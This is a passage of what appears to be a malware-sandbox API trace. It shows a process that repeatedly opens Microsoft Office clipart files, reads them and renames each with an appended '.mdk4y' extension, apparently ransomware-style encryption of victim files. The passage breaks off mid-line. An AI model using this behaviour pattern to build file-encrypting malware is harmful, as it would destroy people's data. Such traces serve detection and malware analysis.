[0142.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821724400000) returned 1 [0142.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821724400000) returned 1 [0142.015] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.mdk4y")) returned 1 [0142.015] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.015] AreFileApisANSI () returned 1 [0142.015] GetACP () returned 0x4e4 [0142.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099149.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099149.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0142.015] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.016] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821724600000) returned 1 [0142.016] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11dfe, lpOverlapped=0x0) returned 1 [0142.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821738600000) returned 1 [0142.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821738700000) returned 1 [0142.157] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.mdk4y")) returned 1 [0142.158] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.159] AreFileApisANSI () returned 1 [0142.159] GetACP () returned 0x4e4 [0142.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099150.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099150.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0142.159] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821739000000) returned 1 [0142.160] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x559a, lpOverlapped=0x0) returned 1 [0142.289] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821751900000) returned 1 [0142.289] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821751900000) returned 1 [0142.290] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.mdk4y")) returned 1 [0142.291] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.291] AreFileApisANSI () returned 1 [0142.291] GetACP () returned 0x4e4 [0142.291] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099151.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099151.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0142.291] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.292] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821752200000) returned 1 [0142.292] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x65e6, lpOverlapped=0x0) returned 1 [0142.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821759700000) returned 1 [0142.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821759800000) returned 1 [0142.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.mdk4y")) returned 1 [0142.369] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.369] AreFileApisANSI () returned 1 [0142.369] GetACP () returned 0x4e4 [0142.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099152.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099152.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0142.369] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821760000000) returned 1 [0142.370] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2dae, lpOverlapped=0x0) returned 1 [0142.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821765600000) returned 1 [0142.426] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821765600000) returned 1 [0142.427] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.mdk4y")) returned 1 [0142.427] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.428] AreFileApisANSI () returned 1 [0142.428] GetACP () returned 0x4e4 [0142.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099153.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099153.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0142.428] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.429] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821765900000) returned 1 [0142.429] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3632, lpOverlapped=0x0) returned 1 [0142.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821778400000) returned 1 [0142.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821778400000) returned 1 [0142.555] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.mdk4y")) returned 1 [0142.555] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.555] AreFileApisANSI () returned 1 [0142.555] GetACP () returned 0x4e4 [0142.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099154.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099154.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0142.555] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821784400000) returned 1 [0142.614] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b11, lpOverlapped=0x0) returned 1 [0142.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821786100000) returned 1 [0142.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821786100000) returned 1 [0142.632] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.mdk4y")) returned 1 [0142.632] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.633] AreFileApisANSI () returned 1 [0142.633] GetACP () returned 0x4e4 [0142.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099155.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099155.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0142.633] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821786300000) returned 1 [0142.633] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x227a, lpOverlapped=0x0) returned 1 [0142.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821787000000) returned 1 [0142.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821787000000) returned 1 [0142.641] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.mdk4y")) returned 1 [0142.641] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.642] AreFileApisANSI () returned 1 [0142.642] GetACP () returned 0x4e4 [0142.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099156.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099156.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0142.642] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821787200000) returned 1 [0142.642] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3682, lpOverlapped=0x0) returned 1 [0142.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821788200000) returned 1 [0142.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821788300000) returned 1 [0142.653] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.mdk4y")) returned 1 [0142.654] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.654] AreFileApisANSI () returned 1 [0142.654] GetACP () returned 0x4e4 [0142.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099157.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099157.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0142.654] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821788400000) returned 1 [0142.654] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x25c7, lpOverlapped=0x0) returned 1 [0142.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821788900000) returned 1 [0142.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821788900000) returned 1 [0142.659] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.mdk4y")) returned 1 [0142.660] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.660] AreFileApisANSI () returned 1 [0142.660] GetACP () returned 0x4e4 [0142.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099158.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099158.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0142.660] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821789100000) returned 1 [0142.661] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6630, lpOverlapped=0x0) returned 1 [0142.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821789700000) returned 1 [0142.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821789700000) returned 1 [0142.668] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099158.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099158.wmf.mdk4y")) returned 1 [0142.668] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.668] AreFileApisANSI () returned 1 [0142.668] GetACP () returned 0x4e4 [0142.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099159.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099159.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0142.669] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821789900000) returned 1 [0142.669] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6b9a, lpOverlapped=0x0) returned 1 [0142.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821790700000) returned 1 [0142.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821790700000) returned 1 [0142.677] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.mdk4y")) returned 1 [0142.692] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.692] AreFileApisANSI () returned 1 [0142.692] GetACP () returned 0x4e4 [0142.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099160.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099160.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0142.692] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821792300000) returned 1 [0142.693] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3b29, lpOverlapped=0x0) returned 1 [0142.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821796500000) returned 1 [0142.736] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821796600000) returned 1 [0142.739] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.mdk4y")) returned 1 [0142.739] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.739] AreFileApisANSI () returned 1 [0142.739] GetACP () returned 0x4e4 [0142.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099161.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099161.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0142.739] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.740] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821797000000) returned 1 [0142.740] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1bf2, lpOverlapped=0x0) returned 1 [0142.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821802300000) returned 1 [0142.794] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821802400000) returned 1 [0142.794] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.mdk4y")) returned 1 [0142.795] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0142.795] AreFileApisANSI () returned 1 [0142.795] GetACP () returned 0x4e4 [0142.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0099162.JPG", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0099162.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0142.795] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0142.796] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821802600000) returned 1 [0142.796] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4cc8, lpOverlapped=0x0) returned 1 [0142.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821805400000) returned 1 [0142.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821805400000) returned 1 [0142.824] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), lpNewFileName="C:\\Program Files\\Microsoft 